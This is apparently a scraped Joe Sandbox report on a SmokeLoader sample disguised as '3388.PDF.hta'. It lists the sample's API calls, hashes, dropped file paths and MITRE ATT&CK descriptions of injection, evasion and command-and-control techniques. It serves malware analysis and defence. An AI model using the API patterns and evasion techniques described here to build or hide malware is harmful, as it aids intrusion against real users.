Function 0040190E Relevance: 1.3, APIs: 1, Instructions: 66
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 00000008.00000002.476515542.0000000000400000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_vgjfftu.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 2faec9f74094ce0f08c74674007c6dc18df4c3c5133ab61c0808bb95c55d4a7d
Instruction ID: c3efed824753038ef125f202698f45fd900918c8f6410fb3a7b527937a7c5fc5
Opcode Fuzzy Hash: 2faec9f74094ce0f08c74674007c6dc18df4c3c5133ab61c0808bb95c55d4a7d
Instruction Fuzzy Hash: D811BFB220C204EBEB00AA908C52EAA3754AF05710F248137BA42791F1C57D9A13F75B

Function 0099BBB6 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0099BC07

Memory Dump Source

Source File: 00000008.00000002.476562400.0000000000999000.00000040.00000020.00020000.00000000.sdmp, Offset: 00999000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_999000_vgjfftu.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 59a2aa76e8f13c5bbac39cc132c81a9d40ce4580c7c473154537a1caf06c493e
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: ED113C79A00208EFDB01DF98CA85E98BBF5AF48351F0580A4F9489B362D775EA50DF90

Function 00401902 Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 00000008.00000002.476515542.0000000000400000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_vgjfftu.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 038fd76a8208d0ddfff32e2f40036fbca87feb8e69a48f33ff6f35dc682cef07
Instruction ID: 207861a3759c1b147de2553678edefd9187cc257709d93c52e233f88d5e7a3be
Opcode Fuzzy Hash: 038fd76a8208d0ddfff32e2f40036fbca87feb8e69a48f33ff6f35dc682cef07
Instruction Fuzzy Hash: B70169F1208209FBEB009A908D61EBA3668AB05760F700133BA13781F5D57C9A53E76B

Function 00401922 Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 00000008.00000002.476515542.0000000000400000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_vgjfftu.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: c88f444a594768d2d4fab485523800559cc166debe3a6fe30cf89bfb996ff5f6
Instruction ID: 578df434b3d236032839297bc76fd9486bb072801922ad90ba2380d7086ecf03
Opcode Fuzzy Hash: c88f444a594768d2d4fab485523800559cc166debe3a6fe30cf89bfb996ff5f6
Instruction Fuzzy Hash: 95F05EB1208209FBEF009F908D61EAA3729AF05710F644137BA52781F5D63CDA53EB1B

Function 0040192B Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 00000008.00000002.476515542.0000000000400000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_vgjfftu.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 45864dc147576a9e119c499a9794f12b744a0bfa5c226a532e69094f16d3b09b
Instruction ID: b5d34a972f1ec939c421f577379ccf4d396b21f1793fd223155277739043cea6
Opcode Fuzzy Hash: 45864dc147576a9e119c499a9794f12b744a0bfa5c226a532e69094f16d3b09b
Instruction Fuzzy Hash: 5AF05EB1218209FBEB009F908D61EBA3629AF05310F644177BA12781F5C63DDA23E75B

Function 0040193C Relevance: 1.3, APIs: 1, Instructions: 31sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 00000008.00000002.476515542.0000000000400000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_vgjfftu.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 14db16c3e861f19ad5dfd30c38be67768c01ca1c8fcdc6992631d9b2414dadb5
Instruction ID: c277f467d3f9426b8f9a73765fdcab00a649fd51b95b24d53f0d4f33e3e8ae71
Opcode Fuzzy Hash: 14db16c3e861f19ad5dfd30c38be67768c01ca1c8fcdc6992631d9b2414dadb5
Instruction Fuzzy Hash: F7F037B1108209FBDF009F94CD51EAA3729AF09310F644577BA12781F5C63DDA12E72B

Function 00401932 Relevance: 1.3, APIs: 1, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 00000008.00000002.476515542.0000000000400000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_vgjfftu.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d565b972daf1ea01d692af33d09a01f0ed4f5aa4668cdc6292c3b22aaefac0ec
Instruction ID: 30c85490bd3e36b3d7497cee73256dee3cb4488b2b17691bada95d8d1bd3f612
Opcode Fuzzy Hash: d565b972daf1ea01d692af33d09a01f0ed4f5aa4668cdc6292c3b22aaefac0ec
Instruction Fuzzy Hash: 33F037B1204205FBDF009F94CD91EAE3629AF05310F644173BA12791F5D67DDA12E75B

Function 00418740 Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,00513D6C,00418DAF), ref: 00418748

Memory Dump Source

Source File: 00000008.00000002.476519911.000000000040B000.00000020.00000001.01000000.0000000C.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_40b000_vgjfftu.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 8edb2acf596b02bf36b0311ec2b3e3f34bd0854dc09103549fc4bb4fc422a900
Instruction ID: 68696ac1b9cb92420161d977e59fd9b705cf74f057d8962c0b4e3d7dbc73b596
Opcode Fuzzy Hash: 8edb2acf596b02bf36b0311ec2b3e3f34bd0854dc09103549fc4bb4fc422a900
Instruction Fuzzy Hash: FDB012F0A492009FD700CF54FC64BD03B74F358302F00C061F500C2164EB304908EB10

Non-executed Functions

Function 004189D0 Relevance: 6.0, APIs: 4, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

QueryDosDeviceW.KERNEL32(00000000,?,00000000), ref: 00418A04
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00418A1F
HeapCreate.KERNEL32(00000000,00000000,00000000), ref: 00418A42
GetNumaProcessorNode.KERNEL32(?,00000000), ref: 00418A51

Memory Dump Source

Source File: 00000008.00000002.476519911.000000000040B000.00000020.00000001.01000000.0000000C.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_40b000_vgjfftu.jbxd

Similarity

API ID: CreateDeviceEnvironmentFreeHeapNodeNumaProcessorQueryStrings
String ID:
API String ID: 2776817195-0
Opcode ID: 87efacac19a89b0c53b9dbb33d5e1312a162f1387c04757d6307752c4e174176
Instruction ID: bd9cb2cda3ccdbb603686fa1a54157cb247b1e4b5f6e470ed3bcac1d3601a900
Opcode Fuzzy Hash: 87efacac19a89b0c53b9dbb33d5e1312a162f1387c04757d6307752c4e174176
Instruction Fuzzy Hash: ED018474A402049BD760EB64EC55BE937B8FB1C755F00807BFA05A72D0DE746E88CB9A

Function 00418950 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

BuildCommDCBA.KERNEL32(00000000,?), ref: 00418964
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00418976

Strings

-, xrefs: 004189AF

Memory Dump Source

Source File: 00000008.00000002.476519911.000000000040B000.00000020.00000001.01000000.0000000C.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_40b000_vgjfftu.jbxd

Similarity

API ID: BuildCommEnvironmentFreeStrings
String ID: -
API String ID: 2991353152-2547889144
Opcode ID: a724ab6c00ba43ed920c74289dad73afc07e5f40d831fe2fe4a3629ab1fe5b50
Instruction ID: b4672369b185086f5e4321c569724b1a241b362aa46ae39454cd2dcc54bfc028
Opcode Fuzzy Hash: a724ab6c00ba43ed920c74289dad73afc07e5f40d831fe2fe4a3629ab1fe5b50
Instruction Fuzzy Hash: 2DF0FCB18242449ADB119BA5DD807FE7B68E709330F51422EED0466240CB794EC59797

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3388.PDF.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\3whyeuor.ju0.ps1

C:\Users\user\AppData\Local\Temp\EkXH.exe

C:\Users\user\AppData\Local\Temp\l3kmxnno.s0e.psm1

C:\Users\user\AppData\Roaming\vgjfftu

Static File Info

General

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

Windows Analysis Report
3388.PDF.hta

Function 00418A70 Relevance: 54.6, APIs: 29, Strings: 2, Instructions: 321
filewindowlibraryCOMMON

Function 004014DB Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 243
nativeCOMMON

Function 00401529 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Function 00401534 Relevance: 10.7, APIs: 7, Instructions: 177
nativeCOMMON

Function 00401541 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Function 00401545 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Function 00402FFA Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Function 0066C317 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Function 0022003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Function 00418770 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
librarymemoryloaderCOMMON

Function 00220E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre